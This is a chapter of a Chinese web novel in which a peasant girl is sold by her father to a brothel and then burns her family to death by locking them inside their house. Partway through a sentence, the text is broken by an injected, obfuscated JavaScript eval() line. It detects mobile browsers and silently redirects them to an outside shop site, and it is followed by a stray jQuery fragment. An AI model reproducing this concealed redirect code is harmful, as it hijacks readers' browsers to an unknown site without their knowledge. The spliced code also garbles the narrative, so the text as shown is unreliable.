母亲的指甲深深陷入司凌的皮肉，妹妹溺死前那张苍白的脸浮现在她的脑海，挥之不去。
“是......”
“是弟弟。”司凌艰难的说。
众人如释重负，母亲松开了她的手腕，温柔地摸了摸她的脑袋。
“小孩子说话最准了，”奶奶絮絮叨叨，“招娣说是弟弟，那就一定是弟弟。”
司凌低下头，沉默不语。
这个家的一切都令她感到恐惧，阴冷的风，潮湿的稻谷，母亲没来得及修剪的指甲，还有她自己。
她一如既往地帮衬着家里干活，烧火，捆柴，打猪草，喂猪。村里同龄的其他小女孩相约着，要结伴去齐姜娘娘的庙里拜一拜。
司凌性格沉默，与她们并不相熟。她们都是从前妹妹的朋友。
她们计划了好久，在临行前的几日，也许是因为妹妹的缘故，其中一人还是上门邀请了司凌。
司凌久久地沉默在那里，没有应答。
如今的她，作过恶的她，齐姜娘娘还会保佑她吗？
如果齐姜娘娘保佑她，那她是何其的是非不分啊。如果齐姜娘娘不保佑她，却又违了她的仁德。
“不想去吗，没事没事，不勉强的。”那个女孩眼见气氛沉默压抑，有些尴尬地说。
“抱歉，你们去吧，我娘快生了，我要帮家里干活。”
“好的，好的，”女孩如释重负，一群关系好的女孩名为拜神实则也有出游的意图在，摊上一个并不怎么熟的程招娣，她们也并不痛快，只是看在盼娣的面子上叫她一声罢了，“等大娘给你生完了弟弟妹妹，咱们再约好了。”
司凌神游般地点了点头，送走了妹妹的朋友。
娘生产的时候，是个雷雨交加的半夜。
那天夜里突然传来娘凄厉的哭叫，全家人都因此惊醒了。就连大黄也吠叫起来，为此还挨了爷爷的打。
“死东西，叫什么叫，不吉利。”
“你这婆娘，怎么早不生，晚不生，偏要这大半夜的来生。你这要我上哪给你找产婆？”
母亲的身下，透明的液体已经浸湿了衣物，她哭叫着推搡了一把唯一的女儿：“愣着做什么，快去村子东边找那个产婆啊。”
司凌如梦初醒地冲出了家门。她没有带伞，事实上在南方这样的雨天，即使带伞也并不顶事的。她在无穷无尽的雨幕中一直跑，把要送给产婆的红绸包裹的几个鸡蛋紧紧护在怀里。
小径泥泞，但是她决不能摔倒。
路长的没有尽头，好像司凌本该这样无止无休地奔跑下去，就像一只落地就会死亡的无脚鸟。
母亲死在了那一晚。伴随着弟弟的出生。
弟弟的名字是程小虎那个考了秀才的小叔取的，叫程旭。
弟弟生在天亮的时候，在旭日东升的时候，司凌等在产房的外面，在母亲持续的，悲恸的嚎哭中，她听见了一声鲜明的，新生儿的啼哭。
他出生在旭日东升的时候，所以叫程旭。
至于死在了旭日东升时候的母亲，并无人在意。
她在生下孩子的一瞬间，询问产婆孩子是男是女。产婆脸上挂着笑，回答她说是个男丁。
至此，她完成了替夫家传宗接代的任务，满足而如释重负，了无遗憾地含笑九泉。
母亲的白事和弟弟的满月酒是一道办的，那时候母亲早已下葬。
爷爷提到母亲时，说她程家的好媳妇啊，是生下了男丁的，是要写进族谱的。
写进族谱。司凌想，写进族谱什么用，程家村有那么多个程李氏，都是从隔壁的李家塘嫁过来的，分得清谁是谁吗。
母亲死后，司凌承担起了母亲原本的很多活计。
生火做饭，去田里送饭，给弟弟喂米汤，换尿布。
家里少了一个干活的人，多了一张吃饭的嘴。生活可以想见地每况愈下。
司凌在家里当然也算是一张吃饭的嘴，为了少被苛责打骂，她只能更努力地干活，在父亲下工烦躁时，尽量安静沉默，降低自己的存在感。
她知道父亲为什么心情不好，因为李寡妇。
李寡妇守寡的时候年纪不大，现在也算得上风韵犹存，据说是她克死了自己的丈夫，是个不祥之人，但是村里的许多光棍甚至有妇之夫都对她趋之若鹜，似乎并不在乎这个不祥的评价。母亲死后她便跟父亲搞在了一起。
李寡妇是个能干的，她虽力气不大把家里的田都低价交给了相好打理，但是心思活络，靠着去镇上卖饼也赚了不少钱，她的儿子和司凌年纪相仿，已经在程小虎那个书生舅舅的学堂里上了五六年的学了。
程小虎的书生舅舅也是她的想好，想必是她和父亲说了，男孩到了年纪要上学云云，但是司凌家哪里有钱供程旭上学呢，连温饱都仅仅是勉强罢了。
父亲并不是不知道李寡妇能从那书生手上拿回扣，但是崇尚知识的庄稼人一向明白，读书是他们这样的人唯一的出路了。
爷爷奶奶都不满父亲整日去李寡妇那里厮混，也对父亲想让弟弟读书的想法嗤之以鼻。
“你自个儿连名字都写不来，还想着能供出个举人来？读什么书，这不是折磨我的乖孙吗？”
奶奶本不想提那张寡妇，奈何父亲想让弟弟读书的想法根深蒂固，她只好把一切都挑明了说：“我靠你就是被那张寡妇迷了心智，不知道她和那程大禄狼狈为奸骗你们钱吃回扣呢。村里那么多娃娃上他那上学，有几个考取了？连她自个儿子都跟个傻的一样哪里像读过书的人。一下田里干活干的还没我们家丫头快，跟个蠢猪似的。”
“你还是死了这条心吧，我们家小旭啊就该吃吃喝喝享享福，到了年纪去田里干活，再给他说个好亲。祖祖辈辈，谁不是这样过来的。你自个儿是个泥鳅，还想从泥鳅窝里爬出个大蛇？做梦吧你。”
“现在碰了灾年，连饭都吃不饱，你连明年买谷种的钱都不知道在哪里，还想着给那秀才送钱？儿啊，我们家一家都是普通庄稼人，祖祖辈辈都是这样过来的，你不能听了那寡妇一两句话，就好孬不分吧。”
父亲不敢拂爷爷奶奶的面子，只是阴沉着一张长脸。屋里落针可闻。
司凌在一旁沉默着，不敢去触父亲的霉头。妹妹和母亲死后，她几乎很少挨打了。她不会乱跑，也很少偷懒犯错，在这个家里她就像一个透明的人，只有干活和吃饭的时候会出现在大家眼前。
但是霉头却会主动找上她。
相思坊的人，是李寡妇介绍给父亲的。她在田里偶尔看见过司凌一回，立马找到了她的父亲，说这个孩子长大之后绝对是个美人。
父亲不以为然，这样的话他听路过的牙婆子说过很多回，但是他从未放在心上。说这孩子相貌周正好看，无非是想卖给镇里的大老爷做丫鬟。做丫鬟能有几个月例啊，程招娣在家里又洗衣服又做饭又照顾弟弟，他老婆又死了，缺了这个姑娘哪行。
“你这蠢货，我可从没说过是卖到镇上做丫鬟啊。那才几个钱。我有好去处，能卖到这个数。”
李寡妇说着，比了个手势。司凌父亲顿时瞪大了双眼。
“二千文？”
“二十两！”李寡妇嗔怪着拍了一下男人的肩，“你看你啊，就那点出息。”
劳碌了一生的庄稼汉简直被这个数字惊呆了，二十两银子，就算他这一年不去田里干活，也足够全家人吃好喝好一整年，还另外把程旭送去秀才的学堂上学了。
“娟娘，你说的可是真的？”
“自然是真的，你可真没见识。白瞎了我和你好这几个月。我还能害你不成？”
“二十两，这也太多了，那丫头瘦黄瘦黄的，能卖上这个价？”司凌的父亲依然有些狐疑。
“哎哟，这城里头有句话，叫美人在骨不在皮。我还能蒙你不成？这丫头片子眼睛大，睫毛长，脸蛋儿小，就是个美人坯子，我不会走眼的。不行啊，我明儿带你去那司州城里的相思坊，让我那老姐姐瞧瞧，也叫你安心。”
男人仿佛坠入了蜜糖编织的美梦里，二十两银子就像高悬在他头顶的肉饼，让他时时刻刻地想着，就连在寡妇身上耕耘时，也心不在焉。直到事了时，才意识到今日是何等丢面儿。
寡妇见他没有心思，倒也不怪罪他今日表现不好。男人想着女人承诺给他的二十两银子，无比殷勤地伺候女人洗漱。
这倒是从未有过的，她的那些相好无不是提上裤子就走的，寡妇心中对男人又多了几分赞赏，想不到这个在她几个姘头间显得平平无奇的男人，倒也有几分可取之处。
这么些年了，她那些相好嘴上是蜜里调油，但是却从来没谁真的想娶她过。她一个人活了这些年，屋顶漏了没人修，儿子皮了没人打，也该有个依靠。
第二天，父亲告诉司凌说，今日带她去赶集。
这一日并非初一也非十五，司凌不知道，父亲是带她赶哪门子的集。她心中瞬间升起了几分惶恐不安，她下意识地想到了装病，但是在父亲的威压下，“我今天身体有点不舒服”这几个字却怎么也说不出口。
走到村口时，张寡妇已经等在那里了。她亲热地捏了捏司凌的脸蛋：“这孩子，长得真俊。”
父亲想着那即将到手的二十两银子，慈爱地拍了拍司凌的肩膀。
“你和你那婆娘都不俊，咋生了个这么俊的小丫头。”张寡妇调情似
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13830218|144613||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的夸道。
父亲傻呵呵地笑着，鬼使神差地说：“我那婆娘不俊，都能生这么俊的丫头，你要是给我生，那不得生个西施潘安出来？”
和夫死不再嫁的贞洁烈妇不一样，男人老婆死了不再娶终究是要落人口实的，特别是街坊邻居都知道家里是个什么情况，像男人家，一看就是娶不起老婆才打光棍的。
但是如今，有了那从天而降的二十两银子，他又怎么会娶不起一个二进门的寡妇呢。
司凌和母亲感情不深，却听着难受，不禁低下了头，仿佛这样就能少听些两人的调情。
“谁答应要嫁你啦，要是不诚心的，我可不要给你生孩子。”
“诚心，自然是诚心的。”男人憨憨地笑着，倒真像个老实的庄稼汉。
还未踏进相思坊的门，司凌就知道这是什么地方了。
虽然她从未见过这样的烟花之地，但是闻着空气中的脂粉气，看着还未开张画眉梳妆的姑娘们，她又怎会猜不到这是什么地方。
李寡妇笑盈盈地搂着她，送到老鸨面前。老鸨面相比刻薄的李寡妇温柔和善些，她上下打量了一下司凌：“年纪大了些，来不及学唱戏了。学舞也晚了点。”
“那便唱曲呢，这孩子声音蛮亮的。而且这长相，小脸盘子，大眼睛，不刚好接那个碧桃的班儿？她今年都多大啦，二十五了吧。”
“长相确实不错，在我这养几年，是个讨喜的样子，”老鸨看了看司凌身上的衣服，“是雏儿吧。”
司凌没有接受过这方面的教育，却无端地感觉到屈辱。她眼睛一热，泪水几乎要夺眶而出。
“是是是。”男人在一旁慌不迭地替她回答，生怕那二十两少了一文。
“我问丫头了，你知道什么。”
“招娣乖，问你呢。”李寡妇有些着急地拍了拍司凌的肩膀。
在老鸨打量货物一样审视的目光里，司凌麻木地点了一下头。
“是个雏儿就好。是个雏的话，二十五两，怎么样？要是觉得合适，今儿在这就把这契儿签了吧。”
男人并没有马上答应，和庄稼打了一辈子交道的男人敏锐地察觉出了不对，李寡妇报的二十两，老鸨却爽快地报了二十五两，说明还有抬价的空间。
老鸨看出了男人抬价的意图，把卖身契置在一旁，笑着说这丫头拘谨着呢，叫来那个叫春桃的姑娘，让她带着程招娣先去学曲子。
“看您也是第一次来，不如我叫个姑娘先陪你一回，我和娟娘好久不见了，也刚好说说话。”
和春桃一起上来的另一个姑娘容色比她还要胜出不少，肤如凝脂，走起路来如弱柳扶风，见到那个一看就没什么银钱的庄稼人，她的目中流过一丝一闪而逝的嫌弃，转而又端上了迎来送往的温柔笑意。
男人哪里见过这种温柔乡，当即就乐不思蜀了，美人留他用了晚饭之后，老鸨带回了他早已忘到九霄云外的女儿，问他卖身契的事情。
这一回，男人毫不犹豫地爽快签下了，签完看见双目含泪的女儿，他并无愧疚之色。
“你哭啥呢，这里吃的这么好住的这么好，连个丫鬟都穿得比你好，这不比在家里强？”男人呵斥。
“我舍不得.......”司凌听见父亲毫不留情的呵斥，竟然呜咽出声，“我舍不得，舍不得家里人，舍不得爹爹，也舍不得阿旭，他还那么小.......”
听她提起宝贝儿子，男人心中也竟有了一丝不舍，都说有了后娘的孩子像根草，等他娶了李寡妇，还不知道阿旭会如何呢。
“爹爹，我......我想回去，明天再给阿旭做顿饭。”
男人犹豫着看向老鸨。老鸨见他已经签下了女儿的卖身契，便无所谓再大发慈悲让他们多团聚一个晚上了。这一家人一看就是偏心眼偏到海边的，没准还能让那姑娘日后对比念着自己的好。
李寡妇也跟着父女二人回到了家，是司凌懂事地提出来的，说要让李寡妇提前见见爷爷奶奶还有弟弟。
爷爷奶奶对李寡妇自然有千般万般的不满意，但是儿子并未明说要娶她过门，又听说李寡妇介绍门路得来的那二十五两银子，便也不好意思甩脸子给她。
至于司凌，能卖到城里，那是她的福气。
当天夜里，大火汹涌的吞没了破旧的房屋，程家人在睡梦中安详地永远睡了过去。
司凌从门外反锁了大门和窗户，确保除了阿黄和她自己，谁也逃不出去。
火烧啊烧，烧啊烧，火光点亮了夜空，像是旭日升起来了一样。
司凌离开几乎不能被称作家的地方，步伐轻快。
月光在稻田如水摇曳，夏风习习吹拂。